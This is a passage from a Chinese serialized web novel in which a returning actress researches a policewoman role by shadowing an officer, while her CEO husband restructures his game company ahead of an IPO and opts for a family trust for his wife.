她看了应真前几天上了热点的视频,虽然视频把应真整个人的风采呈现出来了,但是毕竟手机拍的,看不到细节。 在看到应真本人的那一刻,她忍不住感慨,果然豪门养人,应真状态极佳,不仅身材维持得非常好,皮肤状态也很好,看不到很多这个年纪的女演员身上看到“妈味”,举手投足都给人一种气血旺盛的感觉。 反倒自家艺人这段时间走深沉路线,蓄起了胡须,显出几分沧桑来。 应真状态这么好,打消了经纪人一部分顾虑,但又生出另一重顾虑——这一看就是养尊处优的豪门阔太啊,能演好电影里的底层女警察吗? 李长风出道比应真晚很多年,应真出道的时候,他还是个中学生。应真隐退那年,他才开始进入演艺圈。 所以他们俩的演艺生涯完全错开了。应真对他来说是不折不扣的前辈,他也很好奇应真为什么会在退圈这么多年后又打算复出。 对上两双好奇的眼睛,应真一脸轻松开起了自己的玩笑:“我也听说通常退圈多年的女演员又复出,一般就两个原因,要么老公破产了,欠了一屁股债。要么离婚了,又重新开始奔事业。” 她这样开门见山,倒让李长风和他经纪人都不好意思地笑了。 应真继续道:“这两个原因我都不是。我之所打算复出拍电影,一是当妈时间长了真的有点烦,现在女儿长大了,我想出来干点自己喜欢干的事。二是我确实喜欢这个本子。我跟黄导认识很多年了,她是我在这个圈子见过的为数不多具备原创能力的导演。当初她写这本小说的时候,我就见证了她的创作过程,对她笔下的人物很有感情。” 她不急不徐地说着,茶室里几个人,连黄书韵都凝神听着。李长风的经纪人比应真大两岁,孩子马上小学毕业,对应真说的第一点原因,倒是颇有共鸣。 应真一边说一边开始泡茶,开水滚过第一遍的茶水倒掉,然后泡第二泡,用公道杯开始分茶。分好茶后,她又亲自端给李长风和他的经纪人。 李长风对这位演艺圈前辈的第一印象颇好。豪门阔太一点架子没有,说话也很直率,没有一丝世故气息。 应真继续道:“黄导写小说的时候,还很年轻,小说整个基调是悲观的。在剧本创作过程中,她又进行了二次创作,去除了原本的悲剧调子,换成了一种相对戏谑的呈现方式,我觉得更适合现在的年轻观众市场。原小说很棒,剧本更出彩,有种举重若轻的感觉。” 李长风是科班出身,原本对非科班出身,又退圈多年的应真持怀疑态度。听到这,表情愈发专注,他觉得应真对文本的理解和概括能力,比很多科班出身的演员都要强。 这一下疑虑便打消了大半,“应老师,您是如何看待江游这个角色的?” 应真抿唇笑:“这部电视看似元珊的戏份更多,但我觉得江游的戏份同样吃重。元珊那条短信让他从高高在上的神坛上跌落下来。不像元珊从头以尾都是小人物,江游前后是有反差的。他有一种折堕的感觉,这样的人物很容易获得观众的喜爱。” 黄书韵也惊讶于应真的总结能力,在一旁点头道:“江游就是现在观众说的‘美强惨’。” 余姐也道:“长风,我在这个圈子这么多年,经手的项目无数,保证江游会成为你演艺生涯当中被人记住的里程碑似的角色。” 说到这,她觉得不能再拖了,放下手里的杯子,看着李长风:“我们打算十一月中旬开机,时间不多了。李老师,行不行,你句话吧。我合同都带来了,只要你点头,今天就可以签合同。” 李长风和经纪人对视一眼,郑重地点了点头:“好。江游我接下了。” 说完,他起身朝应真伸出手:“应老师,合作愉快。” 第39章 第39章从这一天起,妈妈的味道…… 对只有二十五岁的应真来说,重新投入拍戏这件事,没有任何心理上的间隔期,反而有种说不出的新鲜感和兴奋感。 毕竟不久前,她才杀青了一部戏,只不过回家路上出了点意外,一睁眼被老天一键传输到了四十岁。 说实话,元珊这个角色如果仅仅只有二十五岁的阅历,她是演不好的。但她现在是四十岁,不是二十五岁。 在经历了这么多天四十岁的生活之后,应真已经有了很多感性积累。从这个角度想,她觉得好像老天平白让她涨了十五岁,也没那么亏。 现在的她,和二十五岁相比,多了很多不一样的生命体验。 在准备元珊这个角色的过程中,每一天对她来说,都是新鲜的。 她适应良好,不适应的是宁君昊和女儿。 自打从锡市回来,应真又开始跟他分房睡。宁君昊心情不好,在公司发脾气次数直线上升,奇技上下下如履薄冰。 应真每天恨不得早早把他和女儿赶出门,仿佛她根本没法忍受他们在家多呆一秒钟。 宁颐然也发现妈妈对自己的耐心差了很多,有一天她不过比平时晚了十几分钟出门,妈妈就催个不停。 早餐质量更是一落千丈,别说什么精心的摆盘了,连营养搭配都很随意。 周五早上宁颐然看到妈妈竟然煮预制的番茄肉酱意大利面给她吃,有些不敢相信自己的眼睛。 但那个包装她太熟悉了,晋扬一个人在家的时候经常吃。 面煮好端上来,看着上面预制的肉酱,宁颐然无语了,冷哼道:“你是不是忘了我周五上午有体育课?以前上午有体育课,你都会煎牛肋条给我吃,现在忙起来了,竟然让我九块九的预制面。” 9.9一包。晋扬告诉她的。 宁颐然越说越气:“说预制菜不能吃的是你,现在忙起来了,根本不管营养,给我吃预制菜的也是你。双标!” 又是一个应真听不懂的词。她最近心思全在准备角色上,看女儿一大早气呼呼的模样,也不生气,将煮好的鸡蛋和玉米放在她面前,淡淡道:“你个头已经够高了,少吃一点也不会怎么样。再说,哪里缺营养了?碳水化合物,蛋白质,脂肪,膳食纤维,哪样营养元素少了?” ??? ???? 如果不是这么多年每天跟妈妈朝夕相处,宁颐然险些以为妈妈被夺舍了。 以前妈妈为了让她早餐多吃一点,中式、西式、日式,各种早餐换个花样做,现在给她吃预制菜,竟然说很有营养。 她被妈妈几句轻描淡写的话气得鼻子都快歪了:“难怪爸爸和奶奶都反对你复出拍戏!我感觉再这样下去,你都快成我后妈了!” 应真看着低头吃面的女儿,差点脱口而出:可能。说不准。我真的是后妈。 宁颐然做梦也想不起,从这一天起,妈妈的味道变成了预制菜的味道。 宁君昊也下楼了。应真觉得自己有必要把接下来的工作安排跟他们父女俩说清楚,“我十一中旬就要进组了。我们那个电影不在北市拍,为了节约成本,选在宁市。所以,从十一月中旬开始,我会有三个月不在家。我已经跟叶阿姨说好了,那三个月,她会来家里照顾然然。” 说完她看着父女俩。 一个脸色阴沉:“知道了。” 一个气呼呼地撅着嘴:“随便吧。” 宁颐然出门前,突然想起一件事:“妈妈课堂你别忘了,下周五下午三点半。到时候你提前把ppt发给我,我发给我们班文艺委员。” 应真点点头:“我知道了。你跟你们班文艺委员说一下,不要安排教室给我,安排一下类似练功房的房间,能坐得下你们班的人就行了。” 培华硬件一流,这种舞蹈房、练功房不要太多。宁颐然说了句“知道了”。 应真又对宁君昊道:“今天我要去派出所跟岗体验,会到很晚。你晚上不要加班了,早点回来陪女儿吃晚饭。” 现在敢用这种安排工作的口吻跟他说话的,也只能身后这个女人了。 宁君昊很不悦:“你现在还真是一点也不考虑女儿。” 应真不喜欢他这个态度,双手抱臂看着他:“我如果不考虑女儿,就不会一大早起来给她做早餐了。” 宁君昊冷哼一声,领着女儿走了。 应真发现只要她的心思投入到工作当中,根本无暇顾及父女俩的心情。 今天是跟林莉约好的时间,父女俩出门后,她去衣帽间找了一身普通休闲服饰,涂上防晒霜,简单化了个妆,戴上棒球帽,换上运动鞋,也准备出发了。 她没有开车,先去小区附近的花店买了些鲜花,又去水果店买了两盒水果,然后打了辆车去林莉发给她的地址。 林莉住在滨江区的一个老小区里,离她单位北门派出所不远。应真到小区楼下,才注意到这地方离姨妈李茹华住的小区很近。但环境差距太大了,李茹华住的是高档小区,物业和周边环境都要好很多。 应真按照跟林莉约好的时间,准时到达她家门口。林莉也早就在家等她,听到有人敲门就赶紧来开门,看到应真一手拎着鲜花,一手拎着水果,忙把她迎进来,嘴上一个劲地埋怨应真破费。 她从应真手里接过那捧鲜花,屋里屋外地找能插花的花瓶,最后没找到,只找到一个大可乐瓶罐子。 林莉手脚麻利地把那可乐瓶上面一截剪掉,装上水,然后把鲜花插了进去。 她捧着那一罐子鲜花,摆放在靠窗台的位置,眼里有淡淡的喜悦:“我已经好久没有收到鲜花了。谢谢你。” 应真看似乎很开心,笑道:“你喜欢就好。” 说完坐下来,打量着她家,六七十平的小两居,东西摆放得满满当当的,家俱也有些年头了,但是很干净整洁。 客厅外头有个小阳台,上面晾着几件警服,看上去是林莉的。客厅墙上贴满了小孩的涂鸦作品,这屋里生活气息很浓。 林莉个头很高,是个宽面庞,脸上一直带着笑容,说话声音特别洪亮,在基层工作时间长了,跟老百姓交道打得多,看上去很有亲和力。 她接到上级领导的通知,说有剧组的女同志要到家里来看看,她以为是剧组工作人员。但是一看应真的样貌气质,就大概猜出来她是演员了。 林莉有些不好意地搓了搓手,“我这房子是我爸妈当年分配的房子。我爸妈过世后,我就搬过来了,这里离我单位近,方便,就是房子老了点。” 应真冲她笑了笑,“这房子跟我姑姑以前单位分的房子很像。我刚来北市的时候,在我姑姑家住了好几个月。看你这房子特别亲切。” 林莉看她这么随和,更加热情了,“应老师,你随便看吧,有什么问题你直接问我。” 应真看着她挂在椅背上的黑色背包:“你包里一般带哪些东西,我可以看看吗?” 林莉二话不说打开包包,把里面东西都拿出来,“这是我的执行记录仪,出警都要带。这玩意对我们来说,就像手机一样,千万要记得充电。这是催泪喷雾,一线执勤民警都需要佩戴。不过我很少用,我这瓶估计都快过期了。还有创可帖也是随身必带,有时候出任务碰到有人受伤能派上用场。还有速效救心丸,应对一些突然状况……” 应真把每样东西都拿在手里掂了掂,感受了一下。 “我原本干内勤只有一台手机,后面转岗了,需要出外勤任务,我就又买了一台工作机。不贵,一两千块钱,平时接电话,发发微信用。偶尔也拍拍照片,我们经常会接到宠物走丢的求助类警情……” 林莉把自己的工作手机拍的流浪猫流浪狗的照片给应真看。应真惊讶地发现她手机里足足有一百多张流浪猫狗照片,还有一些锦旗的照片。 “我能看看您的衣柜吗?” “当然可以啊!”林莉带她去房间,打开衣柜,“女人当警察,最大好处是省钱。年轻时候我可爱买衣服了,后来发现买回来根本穿不着。我平时上班都要穿制服,休息的时候有时候也要出任务。不出任务我不爱出门,漂亮衣服根本派不上用场。” 应真站在衣柜前,林莉的衣柜很空,里面几乎都是单位发的四季衣服。她拿出来一一给应真看,常服、便服和执勤装,都有讲究。 然后林莉又拿出几件她平时穿的衣服,应真拿出手机,“我拍一下,到时候拿给我们服装老师参考一下。” 这次拍摄为了节省成本,服装老师已经在群里发通知了,除了警服,其他服装演员尽可能用自己平时会穿,又接近角色的衣服。 看完衣服,林莉又给应真看自己的鞋子,“这三双是我平时穿的最多的。这是单位发的皮鞋,这是我出任务穿的靴子,这个是我平时穿的运动鞋。这运动鞋不贵,网上随便买的,二百来块钱,有点脏我就不给你细看了。” 应真把那黑色运动鞋的款式记下,打算自己在网上也买双差不多的。应真又询问她孩子的情况。林莉道:“我和我丈夫离婚了,孩子判给我了。不过,我平时工作忙,不怎么顾得上孩子。早上一般我送去上学,下午放学就交给‘小饭桌’帮我去接。这要是碰到孩子生病,就得找人帮忙了。老是请假,单位领导也不乐意。” 听林莉解释了一下,应真才知道“小饭桌”是专门给工作忙碌,没时间接送孩子的家长提供服务的机构。不仅帮忙接小孩,还给孩子提供一顿晚餐,一个月花费几百块钱。 “小饭桌最晚只能到八点。有时候要是加班,我就得打电话给邻居,让邻居帮忙接一下。” 说到孩子的事,林莉脸上露出一丝母亲才有愧疚,“反正就觉得干我们这一行,挺对不起孩子的。不过明年就上小学了,现在小学都有托管服务。到时候把孩子放在学校,我也更放心一些。” 应真认真听着,说起来林莉的生活跟元珊是有相似之处的。中年女人的日子,一环扣一环,按起葫芦又起瓢。一切按部就班不出篓子就好,一旦哪个环节出了差池,这日子就像多米诺骨牌一样,全线崩坏。 剧本里,元珊的生活就出现了好几次这样的崩坏。摊上那么一个凡事高高挂起的丈夫,孩子的事都是她在管。所以,她老是上班溜号,中途去接儿子放学,然后把儿子带回自己单位,有时候也是无奈之举。 眼前的林莉和书里的元珊的生活像画卷一样在应真面前展开,她不由想到自己。 是不是四十岁的应真也曾经有过复出拍电影的想法,只是女儿小时候,这些琐碎的事情一桩桩压过来,让她无限期地放弃了复出的打算。而自己十几年亲自带大的孩子,到最后一天天越来越舍不得放手。 林莉看应真问得这么细,忍不住问她:“你们这是什么电影啊?你在电影里也是演警察吗?” 应真没说太细,只把元珊最初的人设跟她说了一下。林莉听完果然很有共鸣,“其实我们单位也有这种丈夫很能赚钱的女同事。不过她们大多调到内勤岗位上去了。不像我,我现在一个人带孩子,想多赚点钱,只能继续在外勤岗位上干着。” 聊着聊着,就到了午饭时间了,林莉有些不好意思道:“我厨艺不佳,平时很少在家做饭,基本上都是带孩子吃单位食堂。正好,我今天也带你去我们单位食堂体验一下。” 应真抿唇笑:“好啊。我还没吃过派出所的食堂呢,趁这个难得的机会体验一下。” 林莉家距离单位步行大概十五分钟,平时上下班都是骑小电驴,这次要带应真过去,她选择步行。 走进派出所的那刻,应真就不再是应真了,她将自己代入进元珊的角色。于是,她对林莉道:“林警官,你现在不要把我当成应真。你把当成我今天跟你说过的那个女警官元珊。” 林莉对演员这一行当完全不了解,但她看到应真神情严肃,便答应下来。 同事看到林莉带了个陌生女儿进来,有些好奇。遇到同事问她,她便介绍说这是别的所过来协调工作的民警。还真有同事看应真生面孔,气质干干净净,以为她是别的所的文职,都跑过来跟她搭话。 应真便按照电影里元珊的身份一一回了,那些同事竟然真的信了。听得林莉在一旁憋笑憋得肚子疼。 等人走后,她忍不住对应真竖起大拇指。林莉按照自己平时吃的,给应真打了一份一荤两素。她用自己饭卡刷的,应真也没跟她抢付钱。 派出所的食堂伙食普普通通,饭菜味道一般。林莉多年下来的习惯,一顿饭几分钟搞定,应真学她的动作也风卷残云地吃完了。 林莉今天主要工作是负责片区的110的警情处置,一下午应真跟着她处置了一起宠物粪便导致的邻里纠纷,一起家庭暴力报警。 虽然都在辖区范围里,但距离也不算近,在这个过程中应真将自己代入到元珊的角色中。兴许太真了,那个家庭暴力男凶恶地冲她挥舞拳头。 到了下午小孩放学的时间,她们刚好接完一个案子回所里。路上,林莉一直在看手机。 应真好奇她在看什么。林莉将自己私人手机拿给她看,小饭桌的老师正在群里发照片,一群小孩围着小圆桌坐着,每人面前一块小点心。 林莉指着其中一个穿着蓝色外套的男孩,“这是我儿子。可爱吧?” 老旧居民区的林荫大道上,阳光从树叶的缝隙里洒进来,林莉眼里全是笑意。 这一刻,应真仿佛看到元珊在冲自己笑。 第40章 第40章三合一 自从光渊被奇技收购,周立轩还是头一回以高管身份来总部参加会议。 刚开始被收购时,他以为宁君昊是看中光渊在动画行业的成绩。可是一上来就让他砸钱给宁太太参加的影视项目,这让周立轩有些迷惑——就因为老婆要复出演戏,宁总不乐意,就买个公司然后砸钱给制片方,让他们换角? 大佬的玩法还真是粗暴且抽象。不过老板说什么是什么,周立轩屁颠屁颠地去了。 五千万投资啊,傻子才会不要吧,可是对方硬是没要。说实话,周立轩有些想不通。思来想去,那天还是破绽太多,被那三个女人看出来了。 送钱的事都能办砸,出师未捷,折戟沉沙,周立轩真的服了自己。 宁总交待的第一项工作砸在手里,他还没想好怎么交待,又被宁总召见,说光渊原有的动画业务由原班人马继续推进。他本人则调入奇技担任副总裁,负责奇技自有游戏的国内运营支持,尤其是IP衍生动画开发。 这活是周立轩擅长的,他松了口气,原来老板收购光渊不是收购回来陪太太玩的。 今天,他一大早就来宁总办公室,短暂沟通后,宁总便让他以集团高管的身份出席奇技的战略会议。 这次战略会议,是奇技筹备上市期间规模最大也是最重要的一次会议。会议室里,各个部门的负责人、投资方、合作的第三方公司负责人都到了。 偌大的会议室,高管和技术负责人乌泱泱站了一屋子,一个穿得比一个正式。周立轩是搞动画出身的,自己公司开会随意惯了,哪见过这阵仗。 距离会议正式开始,还有十来分钟时间,COO周添看他有些拘谨地坐在那儿,带着他认人。把公司高管都认了一遍,又介绍几个跟奇技有业务合作的第三方公司负责人。 “这是Starloop的李总,我们有几款射击类游戏跟他们有合作。” 说完周添指着李总旁边一个三四十岁的女人对周立轩道:“这是游易的宋总。时光之烬的海外发行推广是她们公司在负责。” 介绍完之后,周添又向宋幼萱介绍周立轩,“这是光渊动画的周总,现在是奇技的副总裁了,以后负责奇技几款核心游戏的国内运营和IP衍生产品开发。 宋幼萱早就听说宁君昊收购了一家名叫光渊的动画公司。听完周添的介绍,便知道以后少不了跟周立轩打交道,看他比自己年纪小,笑着主动伸出手:“久仰大名,没想到周总这么年轻啊。” 周立轩客气说了声“哪里”,见宋幼萱热络地拿出手机要加他联系方式,他便趁机把其他几个第三方合作公司的负责人的联系方式都加了。 上午十点,会议准时开始。这次的战略会涉及到公司组织架构调整。为了应对上市需要,宁君昊和几个高层,还有投行代表,咨询公司,重新梳理了产品结构,将原本的技术团队按照垂直品类进行拆分,并且开始组建奇技自己的国内外发行推广团队。 宁君昊坐在上首位置,右手边挨着他坐的正是投行代表梁文栋。 前方的投影仪幕布上,人力资源部门早已将新的组织架构图投屏上去了。 人力总监花费将近一个小时讲解了新的组织架构,以及新的绩效考核标准。这次改革事关奇技所有员工的薪资,各个部门高管们不仅听得认真,还不时举手提问。 宁君昊也凝神听着,手肘搭在座椅扶手上,右手不自觉地转动着左手无名指的戒指,待人力总监介绍完毕,才缓缓开口道:“奇技正在筹备上市,资方和市场对我们的利润有更高的要求。以后奇技要大力发展自己的运营发行体系,年营收1亿以上的游戏不再使用外包公司来进行代运营。” 会议室里很安静,所有人都在听他说话。几家跟奇技有合作的第三方公司负责人脸色出现微妙变化。 宋幼萱简直不敢相信自己的耳朵,一脸震惊地看着坐在上面的男人。这意思是年营收1亿以上的游戏连肉带汤都要自己吞了?那剩下些边边角角没啥利润的项目才交由第三方公司去代运营? 游易所代理的《时光之烬》最终年营收规模可达数十亿,宋幼萱几乎倾注了所有资源去拓展海外市场,刚上市已经取得不错成绩,宁君昊这是要过河拆桥? 上头宁君昊还在说奇技这块业务的团队建设,宋幼萱一个字也听不进去,整个人被愤怒团团裹住,已经无法控制自己脸上肌肉的走向了。她咬紧后槽牙,用力捏紧拳头,将指甲深深陷进肉里,努力让自己脸上的表情不那么狰狞。 宁君昊扫视一圈:“正在和奇技有合作的第三方公司也无需担心,现有合作仍然继续推进,直到合同到期为止。” 听着这淡漠的话语,再看着上面的人在商言商的面孔,宋幼萱只觉他比二十多年前还要冷血。 当初是奔着跟奇技的长期合作,宋幼萱才说服合伙人同意以极低的抽成签下《时光之烬》的代理合同。今天听到这个消息,她根本不知道回去如何跟合伙人交待。 宋幼萱脑袋嗡嗡作响,怒火在胸口蔓延开来,往事像画片一样在眼前掠过。她想克制自己,但此刻情绪上头,让她不管不顾地当着满会议室的人面开口: “宁总,游易可是发动全公司的资源来推时光之烬啊。之前谈合作的时候,大家都是奔着长期合作去的。三年代理合同结束,就终止合作,对我们这些第三方合作公司太不公平了吧?” 宋幼萱虽然很生气,一番话绵里藏针,却还是留了余地。 宁君昊那双锐利的眼眸扫了过来,唇角浮出一抹淡笑:“宋总,奇技跟任何公司合作都是基于双赢的前提展开。如果你们觉得不公平,或许当初的代理合同就不应该签。” 这话一出,原本有些发僵的会场气氛更加僵硬了,会议室里安静得只听得见呼吸声。宋幼宣沉着脸一言不发。 周添真的服了宋幼萱,总仗着是相熟多年的老熟人,想显出自己的不一样来。偏偏他那个师兄就不是个怜香惜玉的人。 看她被当宁君昊几句话搞得下不来台,周添心里有些不落忍,在一旁道:“宋总,以时光之烬现在的营利情况,三年也够你们赚了。虽然不再用外包代理的形式合作,后续我们肯定还会有其他合作方式的。” 周添的话透出安抚意味,宋幼萱面色缓了几分,自己给自己找补回来:“是我格局小了。游戏市场这么大,上下游业务这么多,不管胃口多大,实力多强的公司,也不可能一家吞了去。这个行业合作才能走得更远。我们这些公司都希望未来跟奇技有更多的合作。” 这话说得周围几个第三方公司负责人不住点头附和。 “肯定会的。大家拭目以待吧。”周添没再搭理宋幼萱,话锋一转道:“这次组织变革,奇技下定决心打造自己的发行和运营体系,国内事业线由周立轩负责,相信他能利用自己在动画方面的特长,为我们各大游戏IP提供更丰富的内容支持。海外发行事业线则由我亲自来抓,整个团队向我汇报。” 一场会议下来,宋幼萱发现自己的业务模块被折叠了,原本向宁君昊汇报,现在变成向周添汇报。当年她之所以答应5%的代理抽成,是奔着十年代理长约去的,没想到最后签合同时宁君昊硬生生给她压到3年。 宁君昊当时说续约会优先考虑游易,结果今天突然来个要自己搞海外发行,三年期满不再续约。 这不是上屋抽梯是什么? 奇技动作极快,会还没结束,周添手下就开始在绿色软件上拉群跟宋幼萱这边对接。宋幼萱来者不拒,加联系方式可以,其他有用的信息她一概不给。 整个战略会从上午十点,一直开到下午四点,只在中途吃了些行政部门准备的餐食。 六七个小时的会议下来,在场的高管都是一脸疲色。只有周立轩从头到尾都亢奋不已,他有种磨拳擦掌跃跃欲试的感觉。 会议结束,宁君昊和投行代表梁文栋先离开,他们还有别的会要开。 宁君昊的私人律师李墨已经等候多时了。距离上市路演还有三个月时间,宁总夫妇始终未签署婚内财产约定协议。 作为宁总的私人律师,李墨自然很着急。 看宁总和投行代表梁文栋开完会回来,李墨赶紧迎了上去。 三人在宁君昊办公室旁边的小会议室坐下,李墨掏出最终修改版的婚内财产约定协议,双手递给宁君昊。 宁君昊看也不看,直接将那份协议扔到一旁,“这个协议我不打算让我太太签了。” 李墨一脸惊愕,脑子有一瞬的宕机。他不知道是什么让宁总临时变卦,想来想去只有宁太太的原因了。 他曾经在几个月前上市计划启动时,跟宁太太有过一面之缘。印象中那是个温柔美丽的中年女人,在他和宁先生商讨婚内财产约定协议具体内容时,她并没有提出太多意见。 这份协议也是李墨根据那次谈话商讨结果拟定的。不过毕竟是几个月之前的事了,也许这几个月情况有了变化。李墨想到最近确实在网上看到很多宁太太的新闻,在这个敏感时期,宁太太又活跃起来,很难不让人产生联想。 李墨大脑飞快运转,迅速想了几个应对方案:“宁总,如果宁太太对这个协议有意见,我可以再找她当面沟通一下,其实还有很多操作方式……” 梁文栋也以为是宁太太的缘故:“君昊,这个婚内财产约定不过是走个形式。如果你太太那边有什么想法,大家可以一起坐下来谈。” 宁君昊摘下眼镜,眉眼间流出一丝疲色,神色却是依旧淡然:“是我不想让我太太签这个协议。我打算成立家族信托,以家族信托方式持有公司股票。” 蛤?这下不止李墨,梁文栋也坐不住了,这都什么时候了?距离路演只剩下三个月时间,突然提出来要成立家族信托? 李墨神色严肃起来:“宁总,家族信托架构,至少要两到六个月时间,这个节骨眼上,时间上很紧张,很有可能赶不上路演。” 梁文栋脸色有些难看:“君昊,我知道你跟你太太感情不错。但现在不是改主意的时候。你临时变卦会延迟整个上市进度的。” 近几年梁文栋所在基金特别喜欢投资新兴科技行业,只因这些行业公司创始人大多相对年轻,学历又高,私生活方面也相较传统行业创始人更加清朗。不会有乱七八糟的私生活事件来影响股价。 看宁君昊似乎不为所动,梁文栋非常不快:“如果你们夫妇感情真的没有问题,签署婚内财产协议不过是走个形式。夫妻之间这点信任应该有吧?信托架构需要境外注册,会增加审查时间的……” 宁君昊抬手打断他:“这事我已经决定了。没什么好说的。我跟我太太结婚十五年了。不是三年五年,我想给她更多安全感,为我们家庭未来多考虑一些。趁着还未上市,成立家族信托,虽然麻烦,但能从根本上隔绝风险。” 说到这,他看向自己的私人律师:“信托基金是我们夫妇的共同财产,我持有60%的投票权。我妻子作为终身受益人,每年可提取公司一定百分比的利润。具体细则你跟我的财务顾问,还是有信托顾问去拟定。马上我太太要去外地拍戏,趁着她还在北市,赶紧敲定下来。” 这些日子宁君昊想了很多,应真先前寄给他的离婚协议里,说感情破裂。他在想很多事情可能确实是他考虑不周,没有给到应真足够的安全感。 意识到应真对自己的重要性,宁君昊不介意在他能接受的范围内让渡一些空间和权益给她。 * 宁颐然放学一走出校门,就看到爸爸那辆黑色汽车已经等在校门口。 一上来,她便吩咐司机小李:“我不回家了,你开车带我去我爸公司。” 小李从后视镜看了大小姐一眼,面露难色:“宁总今天一天的会,估计要开到晚上……” 宁颐然打断道:“我妈不知道几点回家。我回去也是一个人,我去我爸那写作业。等他开完会,我跟他一起回去。” 小李有些犹豫,那边大小姐小脸已经拉下来,不耐烦道:“你直接带我过去就行了。别的事你不用管。” 大小姐话说到这份上了,小李还能说什么,自然是乖乖把人送到。 爸爸公司搬了新的办公大楼,宁颐然拢共也没来好几次。其实她很喜欢去爸爸公司,但妈妈总不让她去。不仅不让她去,妈妈自己也很少去。 都当了十几年总裁夫人,妈妈好像一直没有适应她的身份,不习惯别人的追捧。但是小区的物业管家、保安,妈妈都知道他们姓什么,甚至知道他们的孩子多大,在哪上学。 就连爸爸的司机小李,妈妈都知道他放假回老家相亲了,还问他相得怎么样。 说实话,每次听妈妈跟那些人搭话,她都觉得很烦。尤其那天,听到妈妈对爸爸司机说:“小李,国庆辛苦你了,陪着宁总来回折腾。” 妈妈还给了小李两盒茶叶,让他带回去给家里长辈喝。 宁颐然简直想翻白眼。说真的,她不知道有什么好说的。司机拿着的就是开车的薪水。国庆加班,爸爸又不是没给加班费。 这一点爸爸跟妈妈正好相反,她从来没有听过爸爸跟司机有过任何工作以外的交流。 宁颐然当然知道去爸爸公司,别人对她好,是因为她是她爸的女儿。 但她并不会因此产生任何负担,毕竟谁也改变不了她是她爸女儿的事实。 …… 宁颐然从地下停车场径直坐电梯上六楼。 秘书的隔间正对着电梯,小伙子看到一个背着书包绑着马尾的女孩突然从电梯里出来,吓了一跳,忙迎了出来,“小姑娘,你是——哪位?你来找谁?” 宁颐然停下脚步上下打量他,眼里有疑惑之色:“你是谁?我爸秘书不是一个姓范的阿姨吗?” 秘书这才反应过来她是谁,忙赔笑道:“范秘书生孩子去了。我是宁总的新秘书。你是宁总女儿吧?宁总在开会。” 《Go!life》那个视频虽然老板女儿也出镜了,但没给正脸,所以他一时没认出来。 宁颐然“哦”了一声,冲他略一颔首:“我去我爸办公室等他。” 老板的亲女儿,秘书想拦也拦不住。不仅由着大小姐进去了,还赶紧送了些吃的喝的过去。 宁总的办公桌平时是不准人碰的,就连公司的保洁阿姨也只能打扫他办公桌以外的区域。 秘书进去看到大小姐还算识趣,坐在一旁会客区的沙发上写作业,不由松了口气,“宁小姐,宁总正在开会,可能要开到晚上。您有什么需要,在外面找我行了。” 宁颐然头也不抬地道:“知道了。” 秘书知道老板在跟投行代表、私人律师开会,不像是谈公事,他没敢去打扰,拿起手机给老板发了条信息,告诉他他女儿来了。 作业不多,宁颐然花了不到一小时就写完了。魏珣又发了一堆微博截图到三人群里。自从她爸妈那条视频发到网上后,就像捅了游戏玩家的马蜂窝一样。 她们班很多同学也玩奇技的游戏,魏珣就是《幻镜之门》的忠实粉丝,从小学一直玩到初中。 “握草!我刚发现你爸竟然有自己的超话了,不是你建的吧?@宁颐然” 宁颐然觉得很无语,她要给她爸建超话会等到今天?于是她随手回了个“你是不是有大病”的表情包。 晋扬很快回了条语音:“你们都到家了吗?我才进屋。那超话不可能是宁颐然建的,她连她爸公司的游戏都很少玩。” 宁颐然的确不怎么玩爸爸公司的游戏,她平时喜欢玩横峰网络的《星辰纪元》,经常拉着魏珣、晋扬还有两个死党陪她一起开黑。 不过,她都是偷偷地玩,不敢让她爸知道。 写完作业,一看马上六点,说不定她爸的会马上开完了。 宁颐然也不好喊他俩陪她一起开黑,百无聊赖地打开微博看了一眼,发现爸爸的个人帐号几个小时前转了奇技官方微博发的那个视频,还配了一句话: “2009.9.15-2024.9.15。十五年,镜头内外的答案都一样。” ???那条视频都发了多少天了,爸爸才转发?什么叫镜头内外的答案都一样? 宁颐然读了三遍,才反应过来——这是在暗搓搓地秀恩爱吧? 她嗤的一声,一看这画风就知道这个帐号是爸爸公司的人在替他打理!这根本不像是爸爸那种极度理性的技术男说出来的话! 打开爸爸微博的留言区,五花八门说什么都有,宁颐然一条条翻过去: “卧草!原来这么多年我都在给这个男人花钱!” “宁狗这么抠,终于舍得营销了。” “以前骂宁狗,没想到这狗逼长这么样。这让我以后怎么骂?#颜狗的屈服#” “我要是有这么漂亮温柔的老婆,我早营销了。” “笑死,以前奇技游戏宣传语是‘沉浸式体验’,现在改让我们‘沉浸式吃狗粮’了是吧?” “这明显是夹带私货啊。上线日定哪天不好,非得定在自己的结婚纪念日!” 别的倒也罢了,宁颐然受不了那些喊她爸“宁狗”的,但凡出现这种字眼的,她都一键举报。 就这样,她坐在正对着会议室的沙发上,一边刷微博,一边等爸爸下班。 终于那间小会议室的门开来了,爸爸和两个她不认识的叔叔从里面走出来。 看到女儿坐在自己办公室门口,宁君昊眉头皱了起来:“你怎么来了?我不是让小李送你回去吗?” 爸爸看上去有些不高兴,宁颐然撅着嘴道:“是我让小李送我来这的。妈妈今天不知道几点回家。我不想晚上一个人在家。” 宁君昊没再说什么,转身进了自己办公室,看女儿跟了进来,又问了句:“你吃过晚饭了没有?” 宁颐然嘿笑道:“没有。我等你一起吃呢。” 宁君昊看了手机上的时间,“走吧。我带你去尝尝我们公司的食堂。” 新的奇技大厦,整个负一楼都留给了食堂,宽敞明亮。宁颐然跟在爸爸后头,一个个档口看过去,感觉跟她们学校食堂差不多,看着也什么胃口。她随便要了份铁板盖浇饭。爸爸则要了份面条。 父女俩面对面地坐着开始吃晚餐,宁颐然四下看了看,小声道:“爸,一看你平时就很少来食堂吃饭。你看你周围自动形成结界了,你公司那些人恨不得离你远远的。” 宁君昊抿唇:“吃饭就吃饭。不要东张西望。” 宁颐然“哦”了一声,这铁板盖浇饭味道实在一般,她吃了几口就不想吃了,很快想起一件事:“爸,上回赛艇公开赛你放我鸽子,你说补偿我的,怎么补?” 这事确实有些愧对女儿,宁君昊抬头看她一眼:“你有没有什么想要的?爸爸买给你。” 像所有很少陪伴孩子的父亲一样,宁君昊对女儿也有补偿心理,所以在物质上比应真对女儿更纵容。有很多女儿想要,但是应真不想给女儿买的,最后都是他掏钱给女儿买,应真对此颇有微词。 原以为女儿会提出买什么机器人、游戏手柄之类的东西,没想到女儿一脸认真道:“你赔我半天时间!” 宁君昊失笑:“你倒是知道我最值钱的是什么。” 吃完饭,父女俩步行到地下停车场,宁颐然边走边打开绿色软件,朋友圈弹出新的未读消息提醒。她点进去一看——她那个极少发朋友圈的表姐陈穗竟然发了九宫格的照片,还配了两句话: 你们今天最开心的小事是什么? 